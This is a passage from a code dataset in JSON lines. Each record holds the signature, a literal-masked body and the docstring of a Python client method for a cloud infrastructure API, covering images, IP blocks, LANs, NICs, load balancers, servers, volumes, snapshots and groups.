``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      firewall_rule_id: The unique ID of the firewall rule.\n:type       firewall_rule_id: ``str``", "id": "f811:c0:m16"}
{"signature": "def get_image(self, image_id):", "body": "response = self._perform_request('<STR_LIT>' % image_id)<EOL>return response<EOL>", "docstring": "Retrieves a single image by ID.\n\n:param      image_id: The unique ID of the image.\n:type       image_id: ``str``", "id": "f811:c0:m17"}
{"signature": "def list_images(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request('<STR_LIT>' + str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of images available in the data center.\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m18"}
{"signature": "def delete_image(self, image_id):", "body": "response = self._perform_request(url='<STR_LIT>' + image_id,<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes only user created images.\n\n:param      image_id: The unique ID of the image.\n:type       image_id: ``str``", "id": "f811:c0:m19"}
{"signature": "def update_image(self, image_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>response = self._perform_request(url='<STR_LIT>' + image_id,<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Replace all properties of an image.", "id": "f811:c0:m20"}
{"signature": "def get_ipblock(self, ipblock_id):", "body": "response = self._perform_request('<STR_LIT>' % ipblock_id)<EOL>return response<EOL>", "docstring": "Retrieves a single IP block by ID.\n\n:param      ipblock_id: The unique ID of the IP block.\n:type       ipblock_id: ``str``", "id": "f811:c0:m21"}
{"signature": "def list_ipblocks(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request('<STR_LIT>' % str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of IP blocks available in the account.", "id": "f811:c0:m22"}
{"signature": "def delete_ipblock(self, ipblock_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' + ipblock_id, method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a single IP block from your account.\n\n:param      ipblock_id: The unique ID of the IP block.\n:type       ipblock_id: ``str``", "id": "f811:c0:m23"}
{"signature": "def reserve_ipblock(self, ipblock):", "body": "properties = {<EOL>\"<STR_LIT:name>\": ipblock.name<EOL>}<EOL>if ipblock.location:<EOL><INDENT>properties['<STR_LIT:location>'] = ipblock.location<EOL><DEDENT>if ipblock.size:<EOL><INDENT>properties['<STR_LIT:size>'] = str(ipblock.size)<EOL><DEDENT>raw = {<EOL>\"<STR_LIT>\": properties,<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>', method='<STR_LIT:POST>', data=json.dumps(raw))<EOL>return response<EOL>", "docstring": "Reserves an IP block within your account.", "id": "f811:c0:m24"}
{"signature": "def get_lan(self, datacenter_id, lan_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>lan_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a single LAN by ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      lan_id: The unique ID of the LAN.\n:type       lan_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m25"}
{"signature": "def list_lans(self, datacenter_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of LANs available in the account.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m26"}
{"signature": "def delete_lan(self, datacenter_id, lan_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id, lan_id), method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a LAN from the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      lan_id: The unique ID of the LAN.\n:type       lan_id: ``str``", "id": "f811:c0:m27"}
{"signature": "def create_lan(self, datacenter_id, lan):", "body": "data = json.dumps(self._create_lan_dict(lan))<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % datacenter_id,<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a LAN in the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      lan: The LAN object to be created.\n:type       lan: ``dict``", "id": "f811:c0:m28"}
{"signature": "def update_lan(self, datacenter_id, lan_id, name=None,<EOL>public=None, ip_failover=None):", "body": "data = {}<EOL>if name:<EOL><INDENT>data['<STR_LIT:name>'] = name<EOL><DEDENT>if public is not None:<EOL><INDENT>data['<STR_LIT>'] = public<EOL><DEDENT>if ip_failover:<EOL><INDENT>data['<STR_LIT>'] = ip_failover<EOL><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (datacenter_id, lan_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a LAN\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      lan_id: The unique ID of the LAN.\n:type       lan_id: ``str``\n\n:param      name: The new name of the LAN.\n:type       name: ``str``\n\n:param      public: Indicates if the LAN is public.\n:type       public: ``bool``\n\n:param      ip_failover: A list of IP fail-over dicts.\n:type       ip_failover: ``list``", "id": "f811:c0:m29"}
{"signature": "def get_lan_members(self, datacenter_id, lan_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>lan_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves the list of NICs that are part of the LAN.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      lan_id: The unique ID of the LAN.\n:type       lan_id: ``str``", "id": "f811:c0:m30"}
{"signature": "def get_loadbalancer(self, datacenter_id, loadbalancer_id):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id, loadbalancer_id))<EOL>return response<EOL>", "docstring": "Retrieves a single load balancer by ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``", "id": "f811:c0:m31"}
{"signature": "def list_loadbalancers(self, datacenter_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of load balancers in the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m32"}
{"signature": "def delete_loadbalancer(self, datacenter_id, loadbalancer_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id, loadbalancer_id), method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes the load balancer from the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``", "id": "f811:c0:m33"}
{"signature": "def create_loadbalancer(self, datacenter_id, loadbalancer):", "body": "data = json.dumps(self._create_loadbalancer_dict(loadbalancer))<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % datacenter_id,<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a load balancer within the specified data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer: The load balancer object to be created.\n:type       loadbalancer: ``dict``", "id": "f811:c0:m34"}
{"signature": "def update_loadbalancer(self, datacenter_id,<EOL>loadbalancer_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (datacenter_id,<EOL>loadbalancer_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a load balancer\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``", "id": "f811:c0:m35"}
{"signature": "def get_loadbalancer_members(self, datacenter_id, loadbalancer_id,<EOL>depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id, loadbalancer_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves the list of NICs that are associated with a load balancer.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m36"}
{"signature": "def add_loadbalanced_nics(self, datacenter_id,<EOL>loadbalancer_id, nic_id):", "body": "data = '<STR_LIT>' + nic_id + '<STR_LIT>'<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>loadbalancer_id),<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Associates a NIC with the given load balancer.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``\n\n:param      nic_id: The ID of the NIC.\n:type       nic_id: ``str``", "id": "f811:c0:m37"}
{"signature": "def get_loadbalanced_nic(self, datacenter_id,<EOL>loadbalancer_id, nic_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>loadbalancer_id,<EOL>nic_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Gets the properties of a load balanced NIC.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m38"}
{"signature": "def remove_loadbalanced_nic(self, datacenter_id,<EOL>loadbalancer_id, nic_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>loadbalancer_id,<EOL>nic_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a NIC from the load balancer.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      loadbalancer_id: The unique ID of the load balancer.\n:type       loadbalancer_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``", "id": "f811:c0:m39"}
{"signature": "def get_location(self, location_id, depth=<NUM_LIT:0>):", "body": "response = self._perform_request('<STR_LIT>' % (location_id, depth))<EOL>return response<EOL>", "docstring": "Retrieves a single location by ID.\n\n:param      location_id: The unique ID of the location.\n:type       location_id: ``str``", "id": "f811:c0:m40"}
{"signature": "def list_locations(self, depth=<NUM_LIT:0>):", "body": "response = self._perform_request('<STR_LIT>' % (depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of locations available in the account.", "id": "f811:c0:m41"}
{"signature": "def get_nic(self, datacenter_id, server_id, nic_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a NIC by its ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m42"}
{"signature": "def list_nics(self, datacenter_id, server_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of all NICs bound to the specified server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m43"}
{"signature": "def delete_nic(self, datacenter_id, server_id, nic_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a NIC from the server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``", "id": "f811:c0:m44"}
{"signature": "def create_nic(self, datacenter_id, server_id, nic):", "body": "data = json.dumps(self._create_nic_dict(nic))<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a NIC on the specified server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic: A NIC dict.\n:type       nic: ``dict``", "id": "f811:c0:m45"}
{"signature": "def update_nic(self, datacenter_id, server_id,<EOL>nic_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>nic_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a NIC with the parameters provided.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      nic_id: The unique ID of the NIC.\n:type       nic_id: ``str``", "id": "f811:c0:m46"}
{"signature": "def get_request(self, request_id, status=False):", "body": "if status:<EOL><INDENT>response = self._perform_request(<EOL>'<STR_LIT>' + request_id + '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>response = self._perform_request(<EOL>'<STR_LIT>' % request_id)<EOL><DEDENT>return response<EOL>", "docstring": "Retrieves a single request by ID.\n\n:param      request_id: The unique ID of the request.\n:type       request_id: ``str``\n\n:param      status: Retreive the full status of the request.\n:type       status: ``bool``", "id": "f811:c0:m47"}
{"signature": "def list_requests(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of requests available in the account.", "id": "f811:c0:m48"}
{"signature": "def get_server(self, datacenter_id, server_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a server by its ID.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m49"}
{"signature": "def list_servers(self, datacenter_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (datacenter_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of all servers bound to the specified data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m50"}
{"signature": "def delete_server(self, datacenter_id, server_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes the server from your data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``", "id": "f811:c0:m51"}
{"signature": "def create_server(self, datacenter_id, server):", "body": "data = json.dumps(self._create_server_dict(server))<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (datacenter_id),<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a server within the data center.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server: A dict of the server to be created.\n:type       server: ``dict``", "id": "f811:c0:m52"}
{"signature": "def update_server(self, datacenter_id, server_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>if attr == '<STR_LIT>':<EOL><INDENT>boot_volume_properties = {<EOL>\"<STR_LIT:id>\": value<EOL>}<EOL>boot_volume_entities = {<EOL>\"<STR_LIT>\": boot_volume_properties<EOL>}<EOL>data.update(boot_volume_entities)<EOL><DEDENT>else:<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a server with the parameters provided.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``", "id": "f811:c0:m53"}
{"signature": "def get_attached_volumes(self, datacenter_id, server_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of volumes attached to the server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m54"}
{"signature": "def get_attached_volume(self, datacenter_id, server_id, volume_id):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>volume_id))<EOL>return response<EOL>", "docstring": "Retrieves volume information.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``", "id": "f811:c0:m55"}
{"signature": "def attach_volume(self, datacenter_id, server_id, volume_id):", "body": "data = '<STR_LIT>' + volume_id + '<STR_LIT>'<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Attaches a volume to a server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``", "id": "f811:c0:m56"}
{"signature": "def detach_volume(self, datacenter_id, server_id, volume_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>volume_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Detaches a volume from a server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``", "id": "f811:c0:m57"}
{"signature": "def get_attached_cdroms(self, datacenter_id, server_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of CDROMs attached to the server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m58"}
{"signature": "def get_attached_cdrom(self, datacenter_id, server_id, cdrom_id):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>cdrom_id))<EOL>return response<EOL>", "docstring": "Retrieves an attached CDROM.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      cdrom_id: The unique ID of the CDROM.\n:type       cdrom_id: ``str``", "id": "f811:c0:m59"}
{"signature": "def attach_cdrom(self, datacenter_id, server_id, cdrom_id):", "body": "data = '<STR_LIT>' + cdrom_id + '<STR_LIT>'<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Attaches a CDROM to a server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      cdrom_id: The unique ID of the CDROM.\n:type       cdrom_id: ``str``", "id": "f811:c0:m60"}
{"signature": "def detach_cdrom(self, datacenter_id, server_id, cdrom_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id,<EOL>cdrom_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Detaches a volume from a server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``\n\n:param      cdrom_id: The unique ID of the CDROM.\n:type       cdrom_id: ``str``", "id": "f811:c0:m61"}
{"signature": "def start_server(self, datacenter_id, server_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Starts the server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``", "id": "f811:c0:m62"}
{"signature": "def stop_server(self, datacenter_id, server_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Stops the server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``", "id": "f811:c0:m63"}
{"signature": "def reboot_server(self, datacenter_id, server_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>server_id),<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Reboots the server.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      server_id: The unique ID of the server.\n:type       server_id: ``str``", "id": "f811:c0:m64"}
{"signature": "def get_snapshot(self, snapshot_id):", "body": "response = self._perform_request('<STR_LIT>' % snapshot_id)<EOL>return response<EOL>", "docstring": "Retrieves a single snapshot by ID.\n\n:param      snapshot_id: The unique ID of the snapshot.\n:type       snapshot_id: ``str``", "id": "f811:c0:m65"}
{"signature": "def list_snapshots(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of snapshots available in the account.", "id": "f811:c0:m66"}
{"signature": "def delete_snapshot(self, snapshot_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' + snapshot_id, method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a snapshot from your account.\n\n:param      snapshot_id: The unique ID of the snapshot.\n:type       snapshot_id: ``str``", "id": "f811:c0:m67"}
{"signature": "def update_snapshot(self, snapshot_id, **kwargs):", "body": "data = {}<EOL>for attr, value in kwargs.items():<EOL><INDENT>data[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>response = self._perform_request(<EOL>url='<STR_LIT>' + snapshot_id, method='<STR_LIT>', data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Removes a snapshot from your account.\n\n:param      snapshot_id: The unique ID of the snapshot.\n:type       snapshot_id: ``str``", "id": "f811:c0:m68"}
{"signature": "def create_snapshot(self, datacenter_id, volume_id,<EOL>name=None, description=None):", "body": "data = {'<STR_LIT:name>': name, '<STR_LIT:description>': description}<EOL>response = self._perform_request(<EOL>'<STR_LIT>' % (<EOL>datacenter_id, volume_id),<EOL>method='<STR_LIT>',<EOL>data=urlencode(data))<EOL>return response<EOL>", "docstring": "Creates a snapshot of the specified volume.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``\n\n:param      name: The name given to the volume.\n:type       name: ``str``\n\n:param      description: The description given to the volume.\n:type       description: ``str``", "id": "f811:c0:m69"}
{"signature": "def restore_snapshot(self, datacenter_id, volume_id, snapshot_id):", "body": "data = {'<STR_LIT>': snapshot_id}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % (<EOL>datacenter_id,<EOL>volume_id),<EOL>method='<STR_LIT>',<EOL>data=urlencode(data))<EOL>return response<EOL>", "docstring": "Restores a snapshot to the specified volume.\n\n:param      datacenter_id: The unique ID of the data center.\n:type       datacenter_id: ``str``\n\n:param      volume_id: The unique ID of the volume.\n:type       volume_id: ``str``\n\n:param      snapshot_id: The unique ID of the snapshot.\n:type       snapshot_id: ``str``", "id": "f811:c0:m70"}
{"signature": "def remove_snapshot(self, snapshot_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' + snapshot_id, method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a snapshot.\n\n:param      snapshot_id: The ID of the snapshot\n                         you wish to remove.\n:type       snapshot_id: ``str``", "id": "f811:c0:m71"}
{"signature": "def list_groups(self, depth=<NUM_LIT:1>):", "body": "response = self._perform_request('<STR_LIT>' + str(depth))<EOL>return response<EOL>", "docstring": "Retrieves a list of all groups.\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m72"}
{"signature": "def get_group(self, group_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (group_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a single group by ID.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m73"}
{"signature": "def create_group(self, group):", "body": "data = json.dumps(self._create_group_dict(group))<EOL>response = self._perform_request(<EOL>url='<STR_LIT>',<EOL>method='<STR_LIT:POST>',<EOL>data=data)<EOL>return response<EOL>", "docstring": "Creates a new group and set group privileges.\n\n:param      group: The group object to be created.\n:type       group: ``dict``", "id": "f811:c0:m74"}
{"signature": "def update_group(self, group_id, **kwargs):", "body": "properties = {}<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>')<EOL><DEDENT>for attr, value in kwargs.items():<EOL><INDENT>properties[self._underscore_to_camelcase(attr)] = value<EOL><DEDENT>data = {<EOL>\"<STR_LIT>\": properties<EOL>}<EOL>response = self._perform_request(<EOL>url='<STR_LIT>' % group_id,<EOL>method='<STR_LIT>',<EOL>data=json.dumps(data))<EOL>return response<EOL>", "docstring": "Updates a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``", "id": "f811:c0:m75"}
{"signature": "def delete_group(self, group_id):", "body": "response = self._perform_request(<EOL>url='<STR_LIT>' % group_id,<EOL>method='<STR_LIT>')<EOL>return response<EOL>", "docstring": "Removes a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``", "id": "f811:c0:m76"}
{"signature": "def list_shares(self, group_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>' % (group_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a list of all shares though a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m77"}
{"signature": "def get_share(self, group_id, resource_id, depth=<NUM_LIT:1>):", "body": "response = self._perform_request(<EOL>'<STR_LIT>'<EOL>% (group_id, resource_id, str(depth)))<EOL>return response<EOL>", "docstring": "Retrieves a specific resource share available to a group.\n\n:param      group_id: The unique ID of the group.\n:type       group_id: ``str``\n\n:param      resource_id: The unique ID of the resource.\n:type       resource_id: ``str``\n\n:param      depth: The depth of the response data.\n:type       depth: ``int``", "id": "f811:c0:m78"}
